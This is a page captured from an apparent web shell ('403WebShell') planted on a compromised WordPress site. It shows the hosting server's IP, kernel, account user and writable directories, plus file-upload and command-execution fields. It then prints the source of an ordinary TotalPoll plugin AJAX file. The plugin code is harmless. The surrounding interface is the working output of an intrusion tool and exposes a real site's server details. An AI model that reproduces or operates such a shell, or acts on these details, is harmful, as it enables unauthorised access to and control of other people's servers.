Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.137.171.71
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Admin/Ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/misswavenigeria.com/wp-content/plugins/totalpoll-lite/src/Admin/Ajax/Options.php
<?php

namespace TotalPoll\Admin\Ajax;

! defined( 'ABSPATH' ) && exit();


use TotalPoll\Contracts\Migrations\Poll\Migrator;
use TotalPollVendors\TotalCore\Contracts\Http\Request;

/**
 * Class Options
 * @package TotalPoll\Admin\Ajax
 */
class Options {
	/**
	 * @var Migrator[] $migrators
	 */
	protected $migrators;
	/**
	 * @var Request $request
	 */
	protected $request;

	/**
	 * Page constructor.
	 *
	 * @param Request    $request
	 * @param Migrator[] $migrators
	 */
	public function __construct( Request $request, $migrators ) {
		$this->request   = $request;
		$this->migrators = $migrators;
	}

	/**
	 * Save options.
	 */
	public function saveOptions() {
		$options = json_decode( $this->request->post( 'options', '{}' ), true );
		if ( ! empty( $options ) ):
			TotalPoll( 'options' )->setOptions( $options, true );
			wp_schedule_single_event( time(), 'totalpoll/actions/urls/flush' );
		endif;
		wp_send_json_success( esc_html__( 'Saved.', 'totalpoll' ) );
	}

	/**
	 * Purge.
	 */
	public function purge() {
		$type = $this->request->request( 'type', 'cache' );
		if ( $type === 'cache' ):
			TotalPoll( 'utils.purge.cache' );
			TotalPoll( 'utils.purge.store' );
		endif;
		wp_send_json_success( esc_html__( 'Purged.', 'totalpoll' ) );
	}

	/**
	 * Migrate polls AJAX endpoint.
	 * @action-callback wp_ajax_totalpoll_options_migrate_polls
	 */
	public function migratePolls() {
		$plugin = $this->request->post( 'plugin' );

		if ( ! isset( $this->migrators[ $plugin ] ) ):
			wp_send_json_error( esc_html__( 'Plugin is not supported.', 'totalpoll' ) );
		endif;

		$migrator   = $this->migrators[ $plugin ];
		$pollsCount = $migrator->getCount();

		$migrator->migrate();

		wp_send_json_success( [ 'done' => $migrator->getMigratedCount(), 'of' => $pollsCount ] );
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit